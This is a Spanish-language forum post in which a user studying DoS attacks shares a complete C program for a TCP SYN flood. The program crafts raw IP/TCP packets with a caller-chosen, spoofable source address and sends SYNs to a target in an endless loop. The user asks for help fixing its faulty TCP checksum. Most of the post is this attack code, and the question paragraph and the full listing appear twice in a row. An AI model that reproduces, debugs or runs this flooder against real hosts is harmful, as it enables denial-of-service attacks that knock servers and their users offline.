Problema checksum TCP
Publicado por Carlos (15 intervenciones) el 10/11/2010 14:46:16
Estoy haciendo un analisis sobre ataques DoS, uno de los cuales es un TCP SYN Flood para el que me he creado un programa que implemente este tipo de ataque. Tengo el problema de que el checksum de TCP me sale erroneo al capturar trazas con wireshark, pero no me ocurre eso con el de IP, lo que mosquea un poco. Para calcular el de IP lo hago sobre la cabecera IP (no hay datos IP) y para el de TCP lo hago sobre la pseudocabecera y la cabecera TCP (tampoco hay datos TCP). He probado con diferentes implementaciones del algoritmo del checksum, pero con todas obtengo el mismo resultado, el checksum de TCP es erroneo, ya no se que mas hacer ni donde puede estar el problema, si me pueden ayudar a encontrarlo se lo agradecere.
Por otro lado, tambien queria preguntar si envio diferentes paquetes desde la misma ip y el mismo puerto a un equipo con windows vista al puerto 80 en el que corre un servidor apache, al hacer netstat debrian aparecerme todas las coenxiones SYN que se crean? Unicamente me aparece una por muchos paquetes que envie (hice una ñapa tomando el checksum valido que me daba wireshark para probar y poniendolo "a mano").
Les pego el codigo del programa:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#define PUERTOF 7001 //Puerto origen de los datos
//Pseudocabecera TCP definida en RFC 793
struct tcpph
{
unsigned long origen; //IP origen
unsigned long destino; //IP destino
char zero; //Campo rellenado con 0
char ptcl; //Protocolo
unsigned short tcpl; //Tamaño de la cabecera TCP + datos TCP
};
void enviarSegmentoTCP(char * ,char * ,unsigned int );
unsigned short chkSum(unsigned short * ,int );
void printHex(unsigned char * ,unsigned int ,unsigned short );
int main(int argc,char **argv)
{
if(argc!=4)
{
printf("Uso: %s <IP origen> <IP destino> <puerto desino>\n",argv[0]);
return 0;
}
enviarSegmentoTCP(argv[1],argv[2],atoi(argv[3]));
return 0;
}
void printHex(unsigned char *datos,unsigned int len,unsigned short pal8_16)
{
int i=0;
if((datos==NULL) || (len<1))
return;
if (!pal8_16)
for(i=0;i<len;i+=2)
printf("Byte %d -> 0x%X \t\t\t Byte %d -> 0x%X\n",i,*(datos+i),i+1,*(datos+i+1));
else
for(i=0;i<len;i+=2)
printf("Dbyte %d -> 0x%X\n",i,*((unsigned short *)(datos+i)));
}
//Calculo del checksum de IP y TCP
unsigned short chkSum(unsigned short *buffer,int longitud)
{
//Acumulador de sumas de palabras de 16 bit
register int suma=0;
//Checksum final
unsigned short chk=0;
//Si los bytes son impares sobrara 1 al final
unsigned short resto=0;
printf("Calculando checksum:\n");
while(longitud>1)
{
suma += *buffer++; //Añadir la siguiente palabra de 16 bit
longitud-=2; //Reducir los bytes restantes en 2 (16 bit)
}
if(longitud==1) //Si sobra un ultimo byte, sumarlo
{
*(unsigned char *)(&resto) = *(unsigned char *)buffer;
suma+=resto;
}
printf("suma -> 0x%X\n",suma);
suma = (suma >> 16) + (suma & 0xFFFF); //Añdir los 16 bit de mas peso a los 16 de menor peso
suma += (suma >> 16); //Añadir el acarreo
chk = ~suma; //Complementar a 1
printf("checksum calculado -> 0x%X\n",chk);
return (chk);
}
//Rellena las cabeceras y envia el datagrama
void enviarSegmentoTCP(char *ipo,char *ipd,unsigned int puertod)
{
int sck=0,nSyn=0;
char *paquete=NULL;
char *cabTcpPseudo=NULL;
struct sockaddr_in sin; //Direccion donde enviar los datos para usar con sendto()
struct tcphdr *cabTcp; //Cabecera TCP definida en tcp.h
struct tcpph pseudo; //Pseudocabecera TCP
struct iphdr *cabIp; //Cabecera IP definida en ip.h
size_t tamTcph=0,tamPseudoh=0,tamIph=0; //Tamaño de cada cabecera
if((ipo==NULL) || (ipd==NULL) || (puertod<1) || (puertod>65535))
{
printf("No se pudo crear el paquete. Datos no validos\n");
return;
}
printf("Creando paquete...\n");
printf("\tIP origen -> %s\n",ipo);
printf("\tIP destino -> %s\n",ipd);
printf("\tPuerto destino -> %d\n",puertod);
//Rellenar la direccion para darsela a sendto() despues
sin.sin_family=AF_INET;
sin.sin_port=htons(puertod);
inet_aton(ipd,&sin.sin_addr);
memset(sin.sin_zero,0,8);
printf("\tIP destino convertida -> %X\n",sin.sin_addr.s_addr);
printf("\tPuerto destino convertido -> %X\n",sin.sin_port);
tamTcph=sizeof(struct tcphdr); //Tamaño de la cabecera TCP
tamPseudoh=sizeof(struct tcpph); //Tamaño de la pseudocabecera TCP
tamIph=sizeof(struct iphdr); //Tamaño de la cabecera IP
printf("Tamaño cab IP -> %d\tTamaño cab TCP -> %d\tTamaño PseudoCab -> %d\n",tamIph,tamTcph,tamPseudoh);
//Reservar memoria para el paquete
paquete=calloc(tamIph+tamTcph,1);
printf("Creando cabecera IP...\n");
//Rellenar la cabecera IP
cabIp=(struct iphdr *)paquete;//Señalar la parte de IP con el puntero para rellenar los datos
cabIp->version=4; //version del protocolo IP
cabIp->ihl=tamIph/4; //tamaño de la cabecera
cabIp->tos=0; //Tipo de servicio
cabIp->tot_len=tamTcph + tamIph; //Tamaño del datagrama completo
cabIp->id=htons(random()); //identificador para distinguir los fragmentos
cabIp->frag_off=0; //offset de este fragmento
cabIp->ttl=255; //Time To Live
cabIp->protocol=IPPROTO_TCP; //Protocolo a usar
cabIp->check=0; //IP checksum, se calculara despues pero inicialmente se debe poner a 0
cabIp->saddr=inet_addr(ipo); //direccion IP origen
cabIp->daddr=sin.sin_addr.s_addr; //direccion IP destino
//Calculo del checksum IP
cabIp->check=chkSum((unsigned short *)paquete,tamIph);
printf("\tTamaño de la cabecera IP -> 0x%X\n",cabIp->ihl);
printf("\tVersion del protocolo IP -> 0x%X\n",cabIp->version);
printf("\tTOS -> 0x%X\n",cabIp->tos);
printf("\tTamaño del datagrama completo -> 0x%X\n",cabIp->tot_len);
printf("\tID fragmento -> 0x%X\n",cabIp->id);
printf("\tOffset fragmento -> 0x%X\n",cabIp->frag_off);
printf("\tTTL -> 0x%X\n",cabIp->ttl);
printf("\tProtocolo de niv superior -> 0x%X\n",cabIp->protocol);
printf("\tChecksum -> 0x%X\n",cabIp->check);
printf("\tDir. IP Origen convertida -> 0x%X\n",cabIp->saddr);
printf("\tDir. IP Destino convertida -> 0x%X\n",cabIp->daddr);
printf("Creando cabecera TCP...\n");
//Rellenar la cabecera TCP
cabTcp=(struct tcphdr *)(paquete + tamIph); //Apuntar la cabecera TCP despues de la cabecera IP
cabTcp->source=htons(PUERTOF); //puerto fuente
cabTcp->dest=sin.sin_port; //puerto destino
cabTcp->seq=random(); //numero de secuencia
cabTcp->ack_seq=0; //numero de secuencia de confirmacion
cabTcp->doff=tamTcph/4; //longitud de la cabecera
//Flags TCP
cabTcp->res1=0;
cabTcp->fin=0;
cabTcp->syn=1; //flag para establecimiento de conexion
cabTcp->rst=0;
cabTcp->psh=0;
cabTcp->ack=0;
cabTcp->urg=0;
cabTcp->res2=0;
//Resto campos segmento TCP
cabTcp->window=htons(65535);
cabTcp->check=0; //Checksum TCP, lo calculamos despues. Inicialmente hay que ponerlo a 0
cabTcp->urg_ptr=0;
printf("\tPuerto fuente convertido -> 0x%X\n",cabTcp->source);
printf("\tPuerto destino convertido -> 0x%X\n",cabTcp->dest);
printf("\tNumero secuencia -> 0x%X\n",cabTcp->seq);
printf("\tNumero secuencia confirmacion -> 0x%X\n",cabTcp->ack_seq);
printf("\tLongitud de la cabecera -> 0x%X\n",cabTcp->doff);
printf("\tFlags -> 0x%X\n",(cabTcp->res1|cabTcp->fin|cabTcp->syn|cabTcp->rst|cabTcp->psh|cabTcp->ack|cabTcp->urg|cabTcp->res2));
printf("\tVentana -> 0x%X\n",cabTcp->window);
printf("\tChecksum -> 0x%X\n",cabTcp->check);
printf("\tPtr Urgente -> 0x%X\n",cabTcp->urg_ptr);
printf("Creando pseudocabecera TCP...\n");
//Rellenar la pseudocabecera TCP
pseudo.origen=cabIp->saddr; //direccion IP origen
pseudo.destino=cabIp->daddr; //direccion IP destino
pseudo.zero=0; //byte rellenado con 0
pseudo.ptcl=IPPROTO_TCP; //protocolo usado
pseudo.tcpl=tamTcph; //Tamaño de la cabecera TCP, no hay datos
printf("\tDireccion IP origen convertida -> 0x%X\n",pseudo.origen);
printf("\tDireccion IP destino convertida -> 0x%X\n",pseudo.destino);
printf("\tCampo zero -> 0x%X\n",pseudo.zero);
printf("\tProtocolo -> 0x%X\n",pseudo.ptcl);
printf("\tTamaño cabecera TCP -> 0x%X\n",pseudo.tcpl);
//Unir la cabecera y la pseudocabecera en el mismo buffer
cabTcpPseudo=calloc(tamTcph + tamPseudoh,1);
memcpy(cabTcpPseudo,&pseudo,tamPseudoh);
memcpy(cabTcpPseudo + tamPseudoh,cabTcp,tamTcph);
printf("Buffer para checksum:\n");
printHex((unsigned char *)cabTcpPseudo,tamPseudoh + tamTcph,0);
printf("\n");
//Calcular el checksum TCP ahora que ya estan todos los datos
cabTcp->check=chkSum((unsigned short *)cabTcpPseudo,tamTcph + tamPseudoh);
//cabTcp->check=0xA709;
printf("Checksum TCP -> 0x%X\n\n",cabTcp->check);
free(cabTcpPseudo); //Liberar el espacio reservado no necesario
printf("Paquete:\n");
printHex((unsigned char *)paquete,tamTcph+tamIph,0);
printf("Creando socket\n");
//Crear el socket en modo RAW para poder enviar las cadenas
//que se quieran sin alteraciones
sck=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sck<0)
{
printf("Error creando el socket. ¿Es usuario root?\n");
return;
}
//Notificamos al socket que las cabeceras ya estan incluidas
//para que no añada las suyas propias
int ok=1;
if(setsockopt(sck,IPPROTO_IP,IP_HDRINCL,&ok,sizeof(int))<0)
{
printf("No se pudo notificar la inclusion de cabeceras\n");
return;
}
printf("Enviando el datagrama\n");
//Enviar el datagrama
while(1)
{
sendto(sck,paquete,tamTcph+tamIph,0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
nSyn++;
printf("\rEnviado SYN %d",nSyn);
}
}
Por otro lado, tambien queria preguntar si envio diferentes paquetes desde la misma ip y el mismo puerto a un equipo con windows vista al puerto 80 en el que corre un servidor apache, al hacer netstat debrian aparecerme todas las coenxiones SYN que se crean? Unicamente me aparece una por muchos paquetes que envie (hice una ñapa tomando el checksum valido que me daba wireshark para probar y poniendolo "a mano").
Les pego el codigo del programa:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#define PUERTOF 7001 //Puerto origen de los datos
//Pseudocabecera TCP definida en RFC 793
struct tcpph
{
unsigned long origen; //IP origen
unsigned long destino; //IP destino
char zero; //Campo rellenado con 0
char ptcl; //Protocolo
unsigned short tcpl; //Tamaño de la cabecera TCP + datos TCP
};
void enviarSegmentoTCP(char * ,char * ,unsigned int );
unsigned short chkSum(unsigned short * ,int );
void printHex(unsigned char * ,unsigned int ,unsigned short );
int main(int argc,char **argv)
{
if(argc!=4)
{
printf("Uso: %s <IP origen> <IP destino> <puerto desino>\n",argv[0]);
return 0;
}
enviarSegmentoTCP(argv[1],argv[2],atoi(argv[3]));
return 0;
}
void printHex(unsigned char *datos,unsigned int len,unsigned short pal8_16)
{
int i=0;
if((datos==NULL) || (len<1))
return;
if (!pal8_16)
for(i=0;i<len;i+=2)
printf("Byte %d -> 0x%X \t\t\t Byte %d -> 0x%X\n",i,*(datos+i),i+1,*(datos+i+1));
else
for(i=0;i<len;i+=2)
printf("Dbyte %d -> 0x%X\n",i,*((unsigned short *)(datos+i)));
}
//Calculo del checksum de IP y TCP
unsigned short chkSum(unsigned short *buffer,int longitud)
{
//Acumulador de sumas de palabras de 16 bit
register int suma=0;
//Checksum final
unsigned short chk=0;
//Si los bytes son impares sobrara 1 al final
unsigned short resto=0;
printf("Calculando checksum:\n");
while(longitud>1)
{
suma += *buffer++; //Añadir la siguiente palabra de 16 bit
longitud-=2; //Reducir los bytes restantes en 2 (16 bit)
}
if(longitud==1) //Si sobra un ultimo byte, sumarlo
{
*(unsigned char *)(&resto) = *(unsigned char *)buffer;
suma+=resto;
}
printf("suma -> 0x%X\n",suma);
suma = (suma >> 16) + (suma & 0xFFFF); //Añdir los 16 bit de mas peso a los 16 de menor peso
suma += (suma >> 16); //Añadir el acarreo
chk = ~suma; //Complementar a 1
printf("checksum calculado -> 0x%X\n",chk);
return (chk);
}
//Rellena las cabeceras y envia el datagrama
void enviarSegmentoTCP(char *ipo,char *ipd,unsigned int puertod)
{
int sck=0,nSyn=0;
char *paquete=NULL;
char *cabTcpPseudo=NULL;
struct sockaddr_in sin; //Direccion donde enviar los datos para usar con sendto()
struct tcphdr *cabTcp; //Cabecera TCP definida en tcp.h
struct tcpph pseudo; //Pseudocabecera TCP
struct iphdr *cabIp; //Cabecera IP definida en ip.h
size_t tamTcph=0,tamPseudoh=0,tamIph=0; //Tamaño de cada cabecera
if((ipo==NULL) || (ipd==NULL) || (puertod<1) || (puertod>65535))
{
printf("No se pudo crear el paquete. Datos no validos\n");
return;
}
printf("Creando paquete...\n");
printf("\tIP origen -> %s\n",ipo);
printf("\tIP destino -> %s\n",ipd);
printf("\tPuerto destino -> %d\n",puertod);
//Rellenar la direccion para darsela a sendto() despues
sin.sin_family=AF_INET;
sin.sin_port=htons(puertod);
inet_aton(ipd,&sin.sin_addr);
memset(sin.sin_zero,0,8);
printf("\tIP destino convertida -> %X\n",sin.sin_addr.s_addr);
printf("\tPuerto destino convertido -> %X\n",sin.sin_port);
tamTcph=sizeof(struct tcphdr); //Tamaño de la cabecera TCP
tamPseudoh=sizeof(struct tcpph); //Tamaño de la pseudocabecera TCP
tamIph=sizeof(struct iphdr); //Tamaño de la cabecera IP
printf("Tamaño cab IP -> %d\tTamaño cab TCP -> %d\tTamaño PseudoCab -> %d\n",tamIph,tamTcph,tamPseudoh);
//Reservar memoria para el paquete
paquete=calloc(tamIph+tamTcph,1);
printf("Creando cabecera IP...\n");
//Rellenar la cabecera IP
cabIp=(struct iphdr *)paquete;//Señalar la parte de IP con el puntero para rellenar los datos
cabIp->version=4; //version del protocolo IP
cabIp->ihl=tamIph/4; //tamaño de la cabecera
cabIp->tos=0; //Tipo de servicio
cabIp->tot_len=tamTcph + tamIph; //Tamaño del datagrama completo
cabIp->id=htons(random()); //identificador para distinguir los fragmentos
cabIp->frag_off=0; //offset de este fragmento
cabIp->ttl=255; //Time To Live
cabIp->protocol=IPPROTO_TCP; //Protocolo a usar
cabIp->check=0; //IP checksum, se calculara despues pero inicialmente se debe poner a 0
cabIp->saddr=inet_addr(ipo); //direccion IP origen
cabIp->daddr=sin.sin_addr.s_addr; //direccion IP destino
//Calculo del checksum IP
cabIp->check=chkSum((unsigned short *)paquete,tamIph);
printf("\tTamaño de la cabecera IP -> 0x%X\n",cabIp->ihl);
printf("\tVersion del protocolo IP -> 0x%X\n",cabIp->version);
printf("\tTOS -> 0x%X\n",cabIp->tos);
printf("\tTamaño del datagrama completo -> 0x%X\n",cabIp->tot_len);
printf("\tID fragmento -> 0x%X\n",cabIp->id);
printf("\tOffset fragmento -> 0x%X\n",cabIp->frag_off);
printf("\tTTL -> 0x%X\n",cabIp->ttl);
printf("\tProtocolo de niv superior -> 0x%X\n",cabIp->protocol);
printf("\tChecksum -> 0x%X\n",cabIp->check);
printf("\tDir. IP Origen convertida -> 0x%X\n",cabIp->saddr);
printf("\tDir. IP Destino convertida -> 0x%X\n",cabIp->daddr);
printf("Creando cabecera TCP...\n");
//Rellenar la cabecera TCP
cabTcp=(struct tcphdr *)(paquete + tamIph); //Apuntar la cabecera TCP despues de la cabecera IP
cabTcp->source=htons(PUERTOF); //puerto fuente
cabTcp->dest=sin.sin_port; //puerto destino
cabTcp->seq=random(); //numero de secuencia
cabTcp->ack_seq=0; //numero de secuencia de confirmacion
cabTcp->doff=tamTcph/4; //longitud de la cabecera
//Flags TCP
cabTcp->res1=0;
cabTcp->fin=0;
cabTcp->syn=1; //flag para establecimiento de conexion
cabTcp->rst=0;
cabTcp->psh=0;
cabTcp->ack=0;
cabTcp->urg=0;
cabTcp->res2=0;
//Resto campos segmento TCP
cabTcp->window=htons(65535);
cabTcp->check=0; //Checksum TCP, lo calculamos despues. Inicialmente hay que ponerlo a 0
cabTcp->urg_ptr=0;
printf("\tPuerto fuente convertido -> 0x%X\n",cabTcp->source);
printf("\tPuerto destino convertido -> 0x%X\n",cabTcp->dest);
printf("\tNumero secuencia -> 0x%X\n",cabTcp->seq);
printf("\tNumero secuencia confirmacion -> 0x%X\n",cabTcp->ack_seq);
printf("\tLongitud de la cabecera -> 0x%X\n",cabTcp->doff);
printf("\tFlags -> 0x%X\n",(cabTcp->res1|cabTcp->fin|cabTcp->syn|cabTcp->rst|cabTcp->psh|cabTcp->ack|cabTcp->urg|cabTcp->res2));
printf("\tVentana -> 0x%X\n",cabTcp->window);
printf("\tChecksum -> 0x%X\n",cabTcp->check);
printf("\tPtr Urgente -> 0x%X\n",cabTcp->urg_ptr);
printf("Creando pseudocabecera TCP...\n");
//Rellenar la pseudocabecera TCP
pseudo.origen=cabIp->saddr; //direccion IP origen
pseudo.destino=cabIp->daddr; //direccion IP destino
pseudo.zero=0; //byte rellenado con 0
pseudo.ptcl=IPPROTO_TCP; //protocolo usado
pseudo.tcpl=tamTcph; //Tamaño de la cabecera TCP, no hay datos
printf("\tDireccion IP origen convertida -> 0x%X\n",pseudo.origen);
printf("\tDireccion IP destino convertida -> 0x%X\n",pseudo.destino);
printf("\tCampo zero -> 0x%X\n",pseudo.zero);
printf("\tProtocolo -> 0x%X\n",pseudo.ptcl);
printf("\tTamaño cabecera TCP -> 0x%X\n",pseudo.tcpl);
//Unir la cabecera y la pseudocabecera en el mismo buffer
cabTcpPseudo=calloc(tamTcph + tamPseudoh,1);
memcpy(cabTcpPseudo,&pseudo,tamPseudoh);
memcpy(cabTcpPseudo + tamPseudoh,cabTcp,tamTcph);
printf("Buffer para checksum:\n");
printHex((unsigned char *)cabTcpPseudo,tamPseudoh + tamTcph,0);
printf("\n");
//Calcular el checksum TCP ahora que ya estan todos los datos
cabTcp->check=chkSum((unsigned short *)cabTcpPseudo,tamTcph + tamPseudoh);
//cabTcp->check=0xA709;
printf("Checksum TCP -> 0x%X\n\n",cabTcp->check);
free(cabTcpPseudo); //Liberar el espacio reservado no necesario
printf("Paquete:\n");
printHex((unsigned char *)paquete,tamTcph+tamIph,0);
printf("Creando socket\n");
//Crear el socket en modo RAW para poder enviar las cadenas
//que se quieran sin alteraciones
sck=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sck<0)
{
printf("Error creando el socket. ¿Es usuario root?\n");
return;
}
//Notificamos al socket que las cabeceras ya estan incluidas
//para que no añada las suyas propias
int ok=1;
if(setsockopt(sck,IPPROTO_IP,IP_HDRINCL,&ok,sizeof(int))<0)
{
printf("No se pudo notificar la inclusion de cabeceras\n");
return;
}
printf("Enviando el datagrama\n");
//Enviar el datagrama
while(1)
{
sendto(sck,paquete,tamTcph+tamIph,0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
nSyn++;
printf("\rEnviado SYN %d",nSyn);
}
}
Valora esta pregunta


0